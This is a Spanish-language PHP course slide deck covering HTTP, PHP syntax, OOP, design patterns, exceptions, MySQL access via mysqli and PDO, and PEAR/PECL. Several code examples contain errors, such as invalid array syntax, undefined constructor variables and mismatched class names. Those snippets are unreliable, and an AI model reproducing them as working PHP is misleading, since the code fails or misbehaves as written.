SlideShare una empresa de Scribd logo
1 de 160
Descargar para leer sin conexión
PHP – PHP: Hypertext Preprocessor

Curso: Programación de Aplicaciones Web con PHP
PHP – PHP: Hypertext Preprocessor

                                       Curso PHP




Introducción a la programación WEB
PHP – PHP: Hypertext Preprocessor

                               Introducción a la programación Web

●   Qué es una aplicación Web?
     –   Según la Wikipedia:
           ●   […] se denomina aplicación web a aquellas aplicaciones
                 que los usuarios pueden utilizar accediendo a un
                 servidor web a través de Internet o de una intranet
                 mediante un navegador.[...]
PHP – PHP: Hypertext Preprocessor




¿Cómo se integran todos los agentes en una
      aplicación Web profesional?
PHP – PHP: Hypertext Preprocessor

                               Introducción a la programación Web

●   Agentes implicados
      –   Navegador
     Mozilla Firefox, Chrome,
     Safari, Opera, ¿Internet
     Explorer?...
      –   Servidor Web
           ●   Servidor Http
     Apache, lighttpd, nginx,
     IIS...
           ●   Parser
     PHP, Ruby, Python, JSP,
     Coldfusion, ASP...
      –   Servidor de BBDD
     MySQL, PostgreSQL, SQL
     Server...
PHP – PHP: Hypertext Preprocessor

                                     Introducción a la programación Web

●   Ventajas
      –   Espacio en el cliente
      –   Fácil actualización
      –   Ubicuidad
      –   Multiplataforma
●   Desventajas
      –   Dependiente de conexión a Internet/Intranet
      –   Funcionalidades Interfaz limitadas
            ●   p.e. : Dibujar en pantalla, Drag & Drop
                    –   Javascript y algunos plugins nos permiten “saltarnos” ciertas
                          limitaciones
      –   Interpretación de “[X]HTML + CSS + Javascript” en
            distintos navegadores
            ●   Va mejorando :)
PHP – PHP: Hypertext Preprocessor




 Nuestro protocolo de transporte
HTTP: HyperText Transfer Protocol
PHP – PHP: Hypertext Preprocessor

                                 HTTP: HyperText Transfer Protocol

●   ¿Qué es HTTP?
       –   Protocolo orientado a transacciones, que se basa en un
             esquema petición-respuesta de un cliente(navegador)
             hacia un servidor (apache?).
       –   Protocolo de transporte a nivel de aplicación utilizado en
             cada petición web.
       –   HTTP se basa en una serie de RFC, siendo el más
             importante el RFC 2616, que especifica HTTP 1.1
       –   HTTP es un protocolo sin estado: No se guarda
             información de conexiones anteriores.
●    ¿Y HTTPS?
       –   Mismo protocolo + capa SSL
       –   Sólo se autentica el servidor (Certificado SSL)
PHP – PHP: Hypertext Preprocessor

                                HTTP: HyperText Transfer Protocol

●   8 Métodos
     HEAD, GET, POST, PUT, DELETE, TRACE, OPTIONS, CONNECT
      –   Obligatorios
     HEAD, GET, [OPTIONS]
      – Seguros
     HEAD, GET!!!,       TRACE, OPTIONS
      – No seguros
     POST, PUT, DELETE
      –   Idempotentes
     PUT, DELETE, (+Seguros)
●   Los más importantes para nosotros
      –   HEAD, GET, POST
PHP – PHP: Hypertext Preprocessor

                            HTTP: HyperText Transfer Protocol

●   Ejemplo de petición HTTP:
GET / HTTP/1.1
Host: www.google.es
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES;
rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty)
Firefox/3.0.11
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.7,es;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Cookie:
PREF=ID=134e9ba9c956a28f:TM=1247645018:LM=1247645018:S=9sHtNuO_
unBFgLVV
n
PHP – PHP: Hypertext Preprocessor

                                HTTP: HyperText Transfer Protocol

● Las respuestas del servidor están basadas en códigos de
respuesta:
      –   1xx Informativo
      –   2xx Correcto
      –   3xx Redirección
      –   4xx Error en la petición
      –   5xx Error en el servidor
●   La respuesta del servidor se divide en encabezados de
    respuesta, seguidos del recurso solicitado (html,
    imágenes, audio, etc)
PHP – PHP: Hypertext Preprocessor

                            HTTP: HyperText Transfer Protocol

●   Ejemplo de respuesta HTTP:
HTTP/1.x 200 OK
Cache-Control: private, max-age=0
Date: Wed, 15 Jul 2009 08:14:16 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
Server: gws
Content-Length: 2867
n
<html>
Etc, etc, etc ...
PHP – PHP: Hypertext Preprocessor




HTTP como protocolo asíncrono y sin estado
PHP – PHP: Hypertext Preprocessor

                                        HTTP como protocolo asíncrono

●   HTML:
      –   Publicado por Tim Berners-Lee en 1991, con el nombre
            HTML Tags.
            ●   Incluía etiquetas de listas(ul), glosarios(dt,dl),
                  encabezados(h1,h2) o enlaces (a) entre otras que todavía
                  se conservan.
      –   En 1993, la IETF lo reconoció como una ampliación de
            SGML, definiendo el primer DTD para HTML.
      –   HTML ha evolucionado hasta xHTML (eXtensible
            HyperText Markup Language): una implementación de
            HTML, siguiendo las pautas más estrictas de XML.
PHP – PHP: Hypertext Preprocessor

                                         HTTP como protocolo asíncrono

●   Hoy en día:
       –   Aplicaciones Web:
             ●   Procesadores de texto, clientes de correo, mapas
                   navegables, ERPs, CRMs, Administración de router...
       –   Necesidad:
             ●   Avisar al cliente web de distintos eventos que suceden
                  “ajenos” a él, de manera “amigable”.
       –   Tecnología subyacente:
             ●   La web sigue basándose en HTTP.
             ●   Seguimos teniendo un protocolo sin estados, basado en el
                   binomio pregunta-respuesta.
             ●   Estándar (X)HTML!!
             ●   TODO ES WEB... y la web es síncrona y sin
                  estado.
PHP – PHP: Hypertext Preprocessor




Pero... si no tiene estados ¿cómo hago para... ?
PHP – PHP: Hypertext Preprocessor

                           Pero... si no tiene estados como hago para...

●   No tiene estados, pero tenemos trampas:
      –   Sesiones
            ●   Alojadas en el servidor
            ●   Sin limitación de tamaño
            ●   No persistente
                    –   Límite de tiempo en servidor
                    –   Cierre del navegador
      –   Cookies
            ●   Alojadas en el cliente
            ●   Se pueden almacenar durante todo el tiempo que queramos
                  (y nos deje el cliente)
PHP – PHP: Hypertext Preprocessor




Vale, pero si es síncrona ¿cómo hago para recoger
                      eventos?
PHP – PHP: Hypertext Preprocessor

                            Vale, pero si es síncrona como hago para...

●   Políticas de pooling:
        –   Gracias al XMLHttpRequest (XHR o el vulgar Ajax),
              podemos realizar peticiones al servidor web “escondidas
              al usuario”.
        –   Preguntamos al servidor cada cierto tiempo (1 segundo,
              500 ms), si algo ha cambiado, y lo cambiamos en el
              DOM.
●    Problema:
        –   Mucha carga, los servidores web no están pensados para
             esto...
PHP – PHP: Hypertext Preprocessor

                            Vale, pero si es síncrona como hago para...

●   Comet:
       –   Técnica de programación web basada en XMLHttpRequest,
             que evita el pooling para la actualización de datos en el
             lado del cliente.
       –   Utiliza lo que se conoce como long-pooling:
             ●   Mantener abierta y viva la conexión HTTP, esperando a que
                  el servidor envíe datos.
             ●   En cada envío de datos la conexión deberá ser renovada.
             ●   El cliente realiza las peticiones utilizando otra conexión
                   paralela.
       –   Ventaja:
             ●   Evitamos el pooling
       –   Inconveniente
             ●   Rendimiento muy bajo para sitios con mucho ancho de
                  banda.
PHP – PHP: Hypertext Preprocessor

                               Vale, pero si es síncrona como hago para...

●   Flash Shared Objects:
      –   Se pueden crear objetos compartidos desde SWF's
      –   Todo controlado
            ●   Servidor propio (FMS, Woza, Red5, ...)
            ●   Capa de transporte propia (AMF)
            ●   Protocolo de comunicación propio (RTMP)
      –   Se comparten estructuras entre varios clientes y un servidor, que
            se actualizan en tiempo real
      –   Ventajas:
            ●   Se evitan políticas de pooling
      –   Incoveniente:
            ●   Necesidad de plugins
            ●   Necesidad de servidor extra
            ●   Especificaciones privativas
PHP – PHP: Hypertext Preprocessor

                            Vale, pero si es síncrona como hago para...


●   WebSocket:
       –   Incorporado en HTML5
       –   Proporciona una interfaz en Javascript para crear un canal
             de comunicación full-duplex.
    miWebSocket.onopen = function(e) {alert(“conectado.”);};
    miWebSocket.onmessage = function(e) {alert(e.data);};
    miWebSocket.postMessage(“hola servidor!”);
    miWebSocket.disconnect();
       –   Ventajas:
             ●   Sencillo, limpio, y sin hacks innecesarios :)
       –   Desventajas:
             ●   Necesitamos un Websocket server. (ej.: Kaazing)
             ●   Estamos hablando del futuro.
       –   Alternativa:
             ●   Lo podemos simular con librerias Javascript (ej:bytesocket.js)
PHP – PHP: Hypertext Preprocessor




PHP
PHP – PHP: Hypertext Preprocessor




Introducción general
PHP – PHP: Hypertext Preprocessor

                                             PHP: Introducción general

●   PHP ("PHP: Hypertext Preprocessor")
        –   Alto nivel
        –   Interpretado
        –   Tipado débil
        –   Multiplataforma
        –   Sintaxis basada en C
        –   Embebible en páginas HTML
        –   Ejecutado en el servidor
              ●   Aunque no necesariamente ( CLI )
        –   Código abierto
PHP – PHP: Hypertext Preprocessor

                                                  PHP: Introducción general

●   Ejemplo de PHP embebido:
<html>
    <head>
      <title>Prueba de concepto con PHP</title>
    </head>
              Inicio codigo PHP
    <body>
      <p>            Fin codigo PHP
      <?php
             echo "Hola mundo";
       ?>                             Todo en una línea
      </p>
      <p><?php echo 'Bloque en una linea' ?></p>
  </body>
<?php echo "</html>"
                               Aquí no hace falta “?>”!!
PHP – PHP: Hypertext Preprocessor

                                   PHP: Introducción general


Arquitectura Cliente-Servidor
PHP – PHP: Hypertext Preprocessor




Variables
PHP – PHP: Hypertext Preprocessor

                                                              Variables

●   Sintaxis:
        –   Nombre de la variable precedido por $
        –   El nombre puede contener letras, números y guiones bajos
        –   No puede empezar por un número
              ●   $nombre_var
              ●   $var1
              ●   $_var2
              ●   $3var ← NO!!!!
        –   Asignación por referencia precediendo con un &
              ●   $var1 = &$var2
PHP – PHP: Hypertext Preprocessor

                                                               Variables

●   Ámbito de las variables (I)
        –   Las variables creadas dentro de una función están
              “enjauladas” en la misma.
              $a = 5;
              function test(){
                 echo $a; // Out:
                 $a = 7;
                 echo $a; // Out: 7
              }
              test();
              echo $a; //Out: 5
PHP – PHP: Hypertext Preprocessor

                                                                   Variables

●   Ámbito de las variables (II)
        –   Variable globales

              $a = 5;
              function test(){
                 global $a;
                 echo $a;
              }
              test();
              echo $a;                              ¿?¿?¿?


        –   No usar a no ser extrictamente necesario!!!
              ●   Las carga el demonio!!             ¡¡Mal diseño!!
PHP – PHP: Hypertext Preprocessor

                                                              Variables

●   Ámbito de las variables (y III)
        –   Cuidado, pueden expandirse a otros scripts
              fich1.php:
              <?php        Print: 7      Equivalente a:
              $a = 5;                    <?php
              include('fich2.php');      $a = 5;
              echo $a;
                                         echo $a
              fich2.php:                 $a = 7;
              <?php
              echo $a;                   echo $a;
              $a = 7;
                          Print: 5
PHP – PHP: Hypertext Preprocessor

                                                                                    Variables

●   Variables predefinidas
        –   Superglobales
              ●   $_GET['clave']              // Parámetros obtenidos por HTTP GET
              ●   $_POST['clave']             // Parámetros obtenidos por HTTP POST
              ●   $_COOKIE['clave']      // Variables de la Cookies
              ●   $_SERVER['clave']      // Datos del entorno de ejecución
              ●   $_FILES['clave']       // Parametros de ficheros subidos por HTTP
              ●   $_SESSION['clave']          // Variables de sesión
              ●   $_ENV['clave']              // Variables de entorno del sistema
              ●   $_REQUEST['clave']     // $_GET,$_POST,$_COOKIE todo junto...
              ●   $_GLOBALS['clave']     // Todas las variables globales
        –   $php_errormsg             //Último mensaje de error
        –   $HTTP_RAW_POST_DATA                     //depende de php.ini
        –   $http_response_header //cabeceras de respuesta
        –   $argc //Número de argumentos del script
        –   $argv //Array con los argumentos del script
PHP – PHP: Hypertext Preprocessor




Constantes
PHP – PHP: Hypertext Preprocessor

                                                       Constantes

●Declaración
      define(“PI”,3.14);
● Uso


      echo 'El valor de Pi es: ' . PI;
      $diametro = 2 * PI * $radio
PHP – PHP: Hypertext Preprocessor

                                                                Constantes

●   Constantes “mágicas”:
        –   Constantes de ayuda predefinidas por PHP
              ●   __LINE__   // Linea actual
              ●   __FILE__   // Ruta al fichero actual
              ●   __DIR__    // Ruta al directorio actual (PHP 5.3)
              ●   __FUNCTION__ // Nombre función actual
              ●   __CLASS__ // Nombre de la clase
              ●   __METHOD__ // Nombre del método
              ●   __NAMESPACE__ // Nombre namespace actual (PHP5.3)
PHP – PHP: Hypertext Preprocessor




Tipo de datos
PHP – PHP: Hypertext Preprocessor

                                                            Tipo de datos

●   Tipo de datos
        –   Booleanos
        –   Enteros
        –   Coma flotante (Floats)
        –   Cadenas (Strings)
        –   Arrays
        –   Objetos
        –   Recursos (Conexión mysql, fichero, etc...)
        –   NULL
PHP – PHP: Hypertext Preprocessor

                                                                 Tipo de datos

●
    Tipado débil
          –   El tipo depende del valor asignado a la variable
          –   El tipo puede variar durante el script!!

    ●   Comprobación de tipos
          –   is_array()
          –   is_float()
          –   is_int()
          –   is_object()
          –   is_string()
          –   get_type()
          –   ===
PHP – PHP: Hypertext Preprocessor

                                                     Tipo de datos

●   Declaración y autoconversión
    $var = "0";
    $var es una cadena “0”
    $var++;
    $var es la cadena "1"
    $var += 1;
    $var ahora es un entero (2)
    $var = $var + 1.3;
    $var ahora es un float (3.3)
    $var = 5 + "10 Cosas";
    $var es entero (15) !!!!!!
    $var2 = &$var;
    $var2 = 55;
    $var2 es un entero (55) y...
    CUIDADO!! $var ahora es 55
PHP – PHP: Hypertext Preprocessor

                                                    Tipo de datos

●   “Casting” de datos
      – (int),(integer)
      – (bool),(boolean)
      – (float),(double),(real)
      – (string)
      – (binary)
      – (array)
      – (object)
      – (unset)
PHP – PHP: Hypertext Preprocessor

                                                         Tipo de datos

●   Arrays
     –   Colección ordenada de datos (variables), indexados en función
         a una colección de índices. En PHP los arrays pueden ser
         escalares, asociativos e incluso mixtos.

         $a = array(); # omitible
                                        $a = array(
      $a[0] = “valor1”;
                                           “valor1”,
      $a[1] = 2;                           2,
      $a[“color”] = “rojo”;                ”color” => “rojo”,
      $a[] = “uno_mas”;                    “uno_mas”
                                        );
PHP – PHP: Hypertext Preprocessor




Estructuras básicas de control
PHP – PHP: Hypertext Preprocessor

                    Estructuras básicas de control

●   Condicionales
●   Iteradores
PHP – PHP: Hypertext Preprocessor

                    Estructuras básicas de control

●   Condicionales
●   Iteradores
PHP – PHP: Hypertext Preprocessor

                      Estructuras básicas de control - Condicionales

●   If ... else
$num = 3;

if ($num >= 3 ){
    echo "$num es mayor o igual a 3";
}else{
    echo "$num es menor que 3";
}
PHP – PHP: Hypertext Preprocessor

                     Estructuras básicas de control - Condicionales

●   Operador ternario

$data = 3
echo ($num >= 3)? "$num es mayor o igual a 3" : "$num es menor que 3";
PHP – PHP: Hypertext Preprocessor

                     Estructuras básicas de control - Condicionales

●   Switch...case
                    $i = rand(0,2);


if ($i == 0) {                     switch ($i) {
    echo "i es cero";                case 0:
} elseif ($i == 1) {                    echo "i es cero";
    echo "i es uno";                    break;
} elseif ($i == 2) {                 case 1:
    echo "i es dos";                    echo "i es uno";
} else{                                 break;
       echo "Como que else?? O_o";   case 2:
}                                       echo "i es dos";
                                        break;
                                     Default:
                                        echo "Como que default?? O_o";
                                   }
PHP – PHP: Hypertext Preprocessor

                    Estructuras básicas de control

●   Condicionales
●   Iteradores
PHP – PHP: Hypertext Preprocessor

                    Estructuras básicas de control

●   Condicionales
●   Iteradores
PHP – PHP: Hypertext Preprocessor

                       Estructuras básicas de control - Iteradores

●   While (0-N)

$i=0;
while($i<=9){
  echo $i++;
}
                  ++$i ?
PHP – PHP: Hypertext Preprocessor

                       Estructuras básicas de control - Iteradores

●   Do...While (1-N)

$i = 0;
do {
   echo $i++;
}while ($i <= 9);
PHP – PHP: Hypertext Preprocessor

                        Estructuras básicas de control - Iteradores

●   For

for($i=0;$i<=9;$i++){
  echo $i;
}
PHP – PHP: Hypertext Preprocessor

                             Estructuras básicas de control - Iteradores

●   Foreach

$colores_primarios = array(
   'rojo' = '#ff0000',
   'verde' = '#00ff00',
   'azul' = '#0000ff'
);

foreach($colores_primarios as $nombre => $valor){
   echo 'El valor hexadecimal del color ' . $nombre . ' es: ' .
      $valor . '<br />';
}
PHP – PHP: Hypertext Preprocessor




Programación Orientada a Objetos (POO)
PHP – PHP: Hypertext Preprocessor

                          Programación Orientada a Objetos en PHP

●   ¿Qué es?
      –   Paradigma de programación
      –   Se utilizan “objetos” y sus interacciones para diseñar la
            aplicación
●   ¿Para qué?
      –   Más fácil de escribir
      –   Más fácil de mantener
      –   Más fácil reutilizar el código
            ●   Necesario un muy buen diseño para esto
PHP – PHP: Hypertext Preprocessor

                                                             POO en PHP

●   Qué es un objeto?
      –   Abstracción de un hecho o cosa del mundo real
      –   Una instancia de una clase
            ●   “Mi coche” es un objeto
●   Qué es una clase?
      –   Definición de los objetos de un mismo tipo
            ●   “Coche” es una clase
●   De que está compuesta una clase?
      –   Atributos
            ●   Características o propiedades del objeto (Número de
                 puertas, color, etc...)
      –   Métodos
            ●   Comportamientos o acciones aplicables al objeto (acelerar,
                 frenar, etc.)
PHP – PHP: Hypertext Preprocessor

                                                          POO en PHP

●   Visibilidad de miembros
        –   public: visible desde cualquier ámbito
        –   private: visible sólo desde la propia clase (caja negra)
        –   protected: visible desde la propia clase y las que hereden*.
        –   final: como public pero las herederas no pueden
               sobreescribir (override*)
PHP – PHP: Hypertext Preprocessor

                                  Atributos                               POO en PHP
class Coche {                          Constante
    protected $pos_x, $pos_y, $pos_y;
                                              Constructor
        const VEL_MAX = 166;


                                        Método
    function __construct($x=0,$y=0,$vel=0){
         $this->pos_x = $x; $this->pos_y = $y; $this->vel = $vel;
    }
    public function acelerar($valor) {
        if ($this->vel <= Coche::VEL_MAX)$this->vel+= $valor;
    }
    public function frenar($valor) {                Método mágico
          $this->acelerar(-$valor);
    }
    public function __toString() {
      return 'Coche a ' . $this->vel . ' km/h y en pos (' . $this->pos_x . '.' . $this-
>pos_y . ')' . "n";
    }
}
PHP – PHP: Hypertext Preprocessor

                                                            POO en PHP

 ●      Métodos estáticos

class Animal
{
    protected static $color = 'Black';
    public static function getColor()
    {
        return self::$color;
    }
}
.....
echo Animal::getColor(); // Black
PHP – PHP: Hypertext Preprocessor

                                                       POO en PHP

●   Extendiendo clases (herencia)
PHP – PHP: Hypertext Preprocessor

                                                               POO en PHP


●   Extendiendo clases (herencia)

class Gato extends Animal
{
    protected static $color = 'Brown';
    public function hacer_sonido() { return 'miau'; }
}


class Perro extends Animal
{
    protected static $color = 'Grey';
    public function hacer_sonido() { return 'guau'; }
}
–
PHP – PHP: Hypertext Preprocessor

                                                             POO en PHP

<?php                                             Todo animal hace sonido
echo Animal::getColor(); //Negro                  (comportamiento común)
echo Cat::getColor(); //Negro!!!
$mi_gato = new Cat();
$mi_perro = new Dog();
$mi_animal = new Animal();
echo $mi_gato->hacer_sonido();
echo $mi_perro->hacer_sonido();
echo $mi_animal->hacer_sonido(); ???????
?>
                                             Pero que sonido
class Animal                                 hace un animal??
{
    .....
    public function hacer_sonido() { return “???”; }
}
PHP – PHP: Hypertext Preprocessor

                                                              POO en PHP

●   Clases abstractas
      –Existen
             los objetos gatos y los objetos perros, pero.. ¿los objetos
        animales?

abstract class Animal
{


    public abstract function hacer_sonido();


}

                                           No instanciables!!!
PHP – PHP: Hypertext Preprocessor

                                                         POO en PHP

●   Sobrecarga de métodos (Overloading)
     – En PHP no se puede crear el mismo método con diferente
        número de parámetros
     – Pero creamos métodos y atributos dinámicamente!!!
     – Se accede a ellos a través de los métodos mágicos:
            ●   Para los parámetros
                  __set, __get, __isset y __unset
            ●   Para los métodos
                  __call y __callStatic
PHP – PHP: Hypertext Preprocessor

                                                      POO en PHP

●   Métodos mágicos disponibles:
        –   __construct
        –   __destruct
        –   __call
        –   __callStatic
        –   __get
        –   __set
        –   __isset
        –   __unset
        –   __sleep
        –   __wakeup
        –   __toString
        –   __invoke
        –   __set_state
        –   __clone
PHP – PHP: Hypertext Preprocessor

                                                       POO en PHP

●   Sobrecarga de propiedades (Overloading)
     –   Ejercicio. Clase Circulo
PHP – PHP: Hypertext Preprocessor




     Serialización
(a petición del público)
            ;)
PHP – PHP: Hypertext Preprocessor

                                                               Serialización

●       Podemos serializar los objetos para almacenarlos en la Sesión
class Punto {
  public $x;
    public $y;
    public function __construct($x = 0, $y = 0){
        $this->x = $dato1;
        $this->y = $dato2;
    }
    public function __sleep(){
        return array('x', 'y');
    }
    public function __wakeup(){
        //pe. Si tuviesemos una conexión a la BBDD, reconectariamos
    }
PHP – PHP: Hypertext Preprocessor

                                                      Serialización

●    Introducimos los datos en la sesión serializados
    $prueba = new Punto(5,6,7);
    $_SESSION['prueba'] = serialize($prueba);

●   Y los obtenemos “un”serializados:
    $prueba = unserialize($_SESSION['prueba']);
PHP – PHP: Hypertext Preprocessor




Patrón Singleton
PHP – PHP: Hypertext Preprocessor

                                                       Patrón Singleton

●   Características
       –   Solo se genera una instancia
       –   No se puede acceder a su constructor
       –   No se puede clonar
       –   Se accede a él a través de un método estático
             ●   Clase::getInstance()
●   Para qué??
       –   Si solo queremos tener una instancia de algo (y es absurdo
              tener más)
       –   Hacer trampa para tener variables globales
PHP – PHP: Hypertext Preprocessor

                                                                  Patrón Singleton

class Configuracion
{
    private static $instance;
    protected $data = array();


    private function __construct()
    {
        //Lógica para obtener toda la configuración de la aplicación desde la BBDD
        //y almacenarla en $data
    }
PHP – PHP: Hypertext Preprocessor

                                                           Patrón Singleton

// EL metodo singleton
    public static function getInstance()
    {
         if (!isset(self::$instance)) {
             $c = __CLASS__;
             self::$instance = new $c;
         }
        return self::$instance;
    }
    // Clone no permitido
    public function __clone()
    {
          throw new Exception('Clone no soportado.');
    }
}
    ●
PHP – PHP: Hypertext Preprocessor




Patrón Factory
PHP – PHP: Hypertext Preprocessor

                                                  Patrón Factory

<?php
class Config
{
    public static function factory($type)
    {
        if (include_once 'Config/' . $type . '.php') {
            $classname = 'Config_' . $type;
            return $classname::getInstance();
        } else {
            throw new Exception ('Tipo de configuración no
disponible');
        }
    }
}
?>


<?php
$file_config = Config::factory('File');

$db_config =Config::factory('Db');
?>
PHP – PHP: Hypertext Preprocessor




Excepciones
PHP – PHP: Hypertext Preprocessor

                                                        Excepciones

●   Excepciones
       –   Peor que una aplicación tenga un error en tiempo de
             ejecución, es que el usuario vea en su navegador dicho
             error, mostrando a veces información comprometida con
             consecuencias para la seguridad.
       –   Desde PHP5 se implementaron excepciones en PHP de
             manera muy similar a otros lenguajes de programación.
       –   La clase incorporada en PHP extensible para implementar
             funciones concretas.
PHP – PHP: Hypertext Preprocessor

                                                             Excepciones

<?php
class Exception
{
    protected $message = 'Unknown exception';
    protected $code = 0;
    protected $file;
    protected $line;
    function __construct($message = null, $code = 0);
    final function getMessage();
    final function getCode();
    final function getFile();
    final function getLine();
    final function getTrace();
    final function getTraceAsString();
    function __toString();
}
?>
PHP – PHP: Hypertext Preprocessor

                                                             Excepciones
try {
    $error = 'Siempre lanzar la excepción';
    throw new Exception($error);
    echo “No se ejecuta”;
} catch (Exception $e) {
    echo 'Excp. Capturada: ' . $e->getMessage() . "n";
}


class miExcepcion extends Exception {
     public function mailAdmin();
}
try {
    $error = 'Siempre lanzar la excepción';
    throw new miExcepcion($error);
    echo “No se ejecuta”;
} catch (Exception $e) {
    echo 'Excp. Capturada: ' . $e->getMessage() . "n";
    $e->mailAdmin();
}
PHP – PHP: Hypertext Preprocessor




Acceso a SGBD
PHP – PHP: Hypertext Preprocessor

                                                         Mysql

● MySql: el SGBD de LAMP
● Instalación de MySQL


● Configuración de Mysql (my.cnf)
PHP – PHP: Hypertext Preprocessor

                                                         Conceptos

●   Conceptos:
     –   API (Application programming interface): colección de
           clases/métodos/funciones que utiliza tu aplicación para
           realizar las tareas.
     –   Conector/Driver: software encargado de la conexión a
           un SGBD.
     –   Extensión: módulo externo cargable en PHP que amplía
           el API disponible.
PHP – PHP: Hypertext Preprocessor

                                                                       Comparativa

                                                         P D O (co n P D O
                   P HP 's M yS Q L P HP 's m ys ql i M yS Q L D ri ve r y
                      Ex t en s io n     Ex t en s io n  M yS Q L N a t ive
                                                               D ri ve r )
versión PHP       antes de 3.0       5.0                5.0
incluído en PHP5 Sí                  Sí                 Sí
vendrá en PHP6 Sí                    Sí                 Sí
estátus           mantenimiento      desarrollo activo desarrollo activo
recomendado
                                     Sí – opción        Sí, facilita varios
para nuevos       No
                                     preferida          SGBD
proyectos
Soporta charsets No                  Sí                 Sí
soporta
procedimientos No                    Sí                 Sí
almacenados
Soporta toda las
funcionalidades deNo                 Sí                 La mayoría
Mysql 4.1+
PHP – PHP: Hypertext Preprocessor

                                                           ext/Mysql

●   Ext/MySQL
       –   Extensión de PHP para Mysql.
       –   Interfaz procedural.
       –   PHP4.
       –   En desuso (no recomendado para Mysql > 4.1.3)
PHP – PHP: Hypertext Preprocessor

                                                          ext/Mysqli

●   Mysqli : Mysql improved extension.
      –   Aprovecha nuevas funcionalidades de Mysql >= 4.1.3
      –   PHP5
      –   Permite Orientación a Objetos
      –   Soporte de sentencias “preparadas” (prepared statements)
      –   Soporte de sentencias múltiples
      –   Soporte para transacciones
PHP – PHP: Hypertext Preprocessor

                                                    Ejemplo ext/Mysqli

      mysql> create database ehu;
      mysql> use ehu;
      mysql> CREATE TABLE personas (id_persona INT NOT NULL
      AUTO_INCREMENT PRIMARY KEY, nombre VARCHAR (40), apellidos
      VARCHAR (40));
      Query OK, 0 rows affected (0.15 sec)
      mysql> INSERT INTO personas(nombre,apellidos)
      VALUES("alayn",”gortazar”);
      ......

<html> <head><title>Ejemplo
Mysqli</title><head><body><h1>Tabla</h1>
<?php
$conexion = mysqli_connect("localhost","ehu","passss");
mysqli_select_db($conexion,"ehu");
$consulta = mysqli_query($conexion,"SELECT nombre FROM personas");
while ($items = mysqli_fetch_row($consulta)) {
foreach($items as $key=>$value) {
echo "<p>" . $value . "</p>";
} } ?></body></html>
PHP – PHP: Hypertext Preprocessor

                                                                   PDO

●   PHP Data Objects
     –   Capa de abstracción
     –   API común a todo SGBD.
           ●   Menos cambios necesarios para Mysql --> PostgreSql
                   –   DSN
                   –   Drivers
     –   Funcionalidades ampliadas
     –   Desventaja:
           ●   PDO no siempre soporta todas las funcionalidades del
                SGBD.
PHP – PHP: Hypertext Preprocessor

                                                Ejemplo PDO/Mysql

<html><head><title>Ejemplo
MysqlPDO</title><head><body><h1>Tabla</h1>


<?php
$db = new PDO("mysql:host=localhost;dbname=curso_ehu", "usuario",
"passs");
$consulta = $db->prepare("SELECT nombre FROM gente");
$consulta->execute();
$items = $consulta->fetchAll();
foreach($items as $key=>$value) {
     echo "<p>" . $value["nombre"] . "</p>";
}
?>
</table></body></html>
PHP – PHP: Hypertext Preprocessor

                                                       MySQL a bajo nivel

● Mysql extension, Mysqli y Mysql PDO se sirven de una
librería que implementa el protocolo. Esta librería es a bajo
nivel (C). Hay dos disponibles:
      –   libmysql (Mysql client library)
            ●   Primero que hubo.
            ●   Originalmente pensado para C, no optimizado para PHP.
            ●   Soporte para SSL
      –   mysqlnd (Mysql Native driver)
           ● Disponible a partir de PHP 5.3


            ●   Diseñado específicamente para PHP.
            ●   Mejor uso de memoria
            ●   Más rápido
            ●   Recomendada actualmente
            ●   Pero no soporta SSL :(
PHP – PHP: Hypertext Preprocessor

                                                                SSL en MySQL

●   PHP, SSL y MySQL
      –   Necesitamos que MySQL esté compilado con soporte para
           SSL
      –   Necesitamos asegurarnos de que la extensión mysqli utiliza
           la librería libmysql y no mysqlnd
            ●   Por ahora no hay problema, mysqlnd >= PHP 5.3
      –   Antes de realizar un mysqli_real_connect
            ●   Orientado a Objetos
                   –   Bool mysqli::ssl(string $key , string $cert , string $ca ,
                        string $capath , string $cipher )
            ●   Procedural
                   –   bool mysqli_ssl_set ( mysqli $link , string $key , string
                         $cert , string $ca , string $capath , string $cipher )
●   http://es.php.net/manual/en/mysqli.ssl-set.php
PHP – PHP: Hypertext Preprocessor




PEAR
PHP – PHP: Hypertext Preprocessor

                                                                PEAR

●   PHP Extensión and Application Repository
      –   Framework enfocado a la “Comunidad”
      –   Fundado en 1999
      –   Gran lista de librerías
      –   Dividido en paquetes, cada paquete un equipo
●   Objetivo
      –   Fomentar reutilización de código.
      –   Crear un acceso estándar a librerias
      –   Mantener un estándar en el estilo en la programación
      –   Codificación estándar.
      –   Mantenimiento centralizado
PHP – PHP: Hypertext Preprocessor

                                                                      PEAR

●   Instalación “standalone”
      –   http://pear.php.net/go-pear
●   Instalación en el sistema
      –   Debian/Ubuntu: apt-get install php-pear
                :)
      –   Instalar librerías
            ●   pear install paquete_Libreria
●   Modo de uso
      –   require_once “paquete.php”
      –   Cuidado, comprobar el include_path!!!
PHP – PHP: Hypertext Preprocessor

                                                                     PEAR

●   Desventajas
      –   Aunque está bien pensado, es fácil tener problemas con las
            dependencias.
            ●   pear config-set preferred_state alpha|beta|stable
      –   El paquete de Debian parece estar roto :(
PHP – PHP: Hypertext Preprocessor




PECL
PHP – PHP: Hypertext Preprocessor

                                                                PECL

●   PHP Extension Community Library (“pickle”)
      –   Clases escritas en C/C++
      –   Similar a PEAR, de hecho usa Pear PM.
      –   Más eficientes que PEAR.
      –   Muchas de ellas son extensiones típicas de PHP
PHP – PHP: Hypertext Preprocessor

                                                                       PECL

●   Instalación automática
       –   Igual que con pear
             ●   pecl install paquete
●   Instalación manual
       –   Necesitamos el paquete php5-dev
       –   Descargamos fuentes
       – Compilamos e instalamos la librería
         # cd /path/al/modulo
         # phpize
         # ./configure
         # make
         # make install
         //Esto lo instala en /usr/lib/php5/20060613 o
      algo por el estilo
       –   Configuramos la extension en PHP (/etc/php5/conf.d/extension.ini)
           extension=nom_extension.so
PHP – PHP: Hypertext Preprocessor




Frameworks
PHP – PHP: Hypertext Preprocessor




Frame = marco
Work = trabajo
Cualquier que haya pretendido construir una aplicación
de envergadura media, ha creado su propio “framework”:
Reutilización de código
Fácil Mantenimiento / legibilidad
Abstración en la capa de acceso a datos
Utilizar una librería de funciones es utilizar un Framework.
PHP – PHP: Hypertext Preprocessor




Utilización de framework propio (generalmente)
–Pros:
             –   Agilidad de uso
